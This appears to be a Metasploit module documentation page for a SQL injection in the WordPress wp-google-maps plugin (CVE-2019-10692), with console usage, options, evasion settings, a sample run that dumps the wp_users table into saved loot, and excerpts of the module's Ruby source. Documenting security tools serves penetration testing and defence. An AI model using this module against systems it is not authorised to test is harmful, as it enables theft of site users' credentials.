WordPress Google Maps Plugin SQL Injection - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/wp_google_maps_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: WordPress Google Maps Plugin SQL Injection
Module: auxiliary/admin/http/wp_google_maps_sqli
Source code: modules/auxiliary/admin/http/wp_google_maps_sqli.rb
Disclosure date: 2019-04-02
Last modification time: 2019-04-15 07:06:27 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-10692

This module exploits a SQL injection vulnerability in a REST endpoint registered by the WordPress plugin wp-google-maps between 7.11.00 and 7.11.17 (included). As the table prefix can be changed by administrators, set DB_PREFIX accordingly.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/wp_google_maps_sqli
msf auxiliary(wp_google_maps_sqli) > show targets
    ... a list of targets ...
msf auxiliary(wp_google_maps_sqli) > set TARGET target-id
msf auxiliary(wp_google_maps_sqli) > show options
    ... show and set options ...
msf auxiliary(wp_google_maps_sqli) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module works against the Wordpress plugin wp-google-maps between 7.11.00 and 7.11.17 (included).

The vulnerable version is available on WordPress' plugin directory.

Verification Steps


  1. msfconsole
  2. use auxiliary/admin/http/wp_google_maps_sqli
  3. set RHOSTS <rhost>
  4. Set DB_PREFIX if necessary
  5. run

Options


DB_PREFIX

Change the table prefix. By default, this option is set to wp_.

Scenarios


wp-google-maps 7.11.17 on WordPress 4.9.5

msf5 auxiliary(admin/http/wp_google_maps_sqli) > exploit
[*] Running module against 172.22.222.144

[*] 172.22.222.144:80 - Trying to retrieve the wp_users table...
[+] Credentials saved in: /home/msfdev/.msf4/loot/20190415065921_default_172.22.222.144_wp_google_maps.j_022930.bin
[+] 172.22.222.144:80 - Found msfdev  
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the admin/http/wp_google_maps_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/wp_google_maps_sqli

msf6 auxiliary(admin/http/wp_google_maps_sqli) > show info

       Name: WordPress Google Maps Plugin SQL Injection
     Module: auxiliary/admin/http/wp_google_maps_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-04-02

Provided by:
  Thomas Chauchefoin (Synacktiv)

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DB_PREFIX  wp_              yes       WordPress table prefix
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a SQL injection vulnerability in a REST 
  endpoint registered by the WordPress plugin wp-google-maps between 
  7.11.00 and 7.11.17 (included). As the table prefix can be changed 
  by administrators, set DB_PREFIX accordingly.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-10692
  https://wpscan.com/vulnerability/9249

Module Options


This is a complete list of options available in the admin/http/wp_google_maps_sqli auxiliary module:

msf6 auxiliary(admin/http/wp_google_maps_sqli) > show options

Module options (auxiliary/admin/http/wp_google_maps_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DB_PREFIX  wp_              yes       WordPress table prefix
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/wp_google_maps_sqli auxiliary module:

msf6 auxiliary(admin/http/wp_google_maps_sqli) > show advanced

Module advanced options (auxiliary/admin/http/wp_google_maps_sqli):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/wp_google_maps_sqli module can do:

msf6 auxiliary(admin/http/wp_google_maps_sqli) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/wp_google_maps_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/wp_google_maps_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response or unexpected status code in response


Here is a relevant code snippet related to the "No response or unexpected status code in response" error message:

62:	
63:	  def run
64:	    print_status("#{peer} - Trying to retrieve the #{datastore['DB_PREFIX']}users table...")
65:	
66:	    body = send_sql_request("* from #{datastore['DB_PREFIX']}users")
67:	    fail_with(Failure::UnexpectedReply, 'No response or unexpected status code in response') if body.nil?
68:	
69:	    begin
70:	      body = JSON.parse(body)
71:	    rescue JSON::ParserError
72:	      fail_with(Failure::NotFound, 'Returned data is not in JSON format')

Returned data is not in JSON format


Here is a relevant code snippet related to the "Returned data is not in JSON format" error message:

67:	    fail_with(Failure::UnexpectedReply, 'No response or unexpected status code in response') if body.nil?
68:	
69:	    begin
70:	      body = JSON.parse(body)
71:	    rescue JSON::ParserError
72:	      fail_with(Failure::NotFound, 'Returned data is not in JSON format')
73:	    end
74:	
75:	    if body.empty?
76:	      print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")
77:	    else

<PEER> - Failed to retrieve the table <DB_PREFIX>users


Here is a relevant code snippet related to the "<PEER> - Failed to retrieve the table <DB_PREFIX>users" error message:

71:	    rescue JSON::ParserError
72:	      fail_with(Failure::NotFound, 'Returned data is not in JSON format')
73:	    end
74:	
75:	    if body.empty?
76:	      print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")
77:	    else
78:	      loot = store_loot("wp_google_maps.json","application/json", rhost, body.to_s)
79:	      print_good("Credentials saved in: #{loot}")
80:	    end
81:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Thomas Chauchefoin (Synacktiv)

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.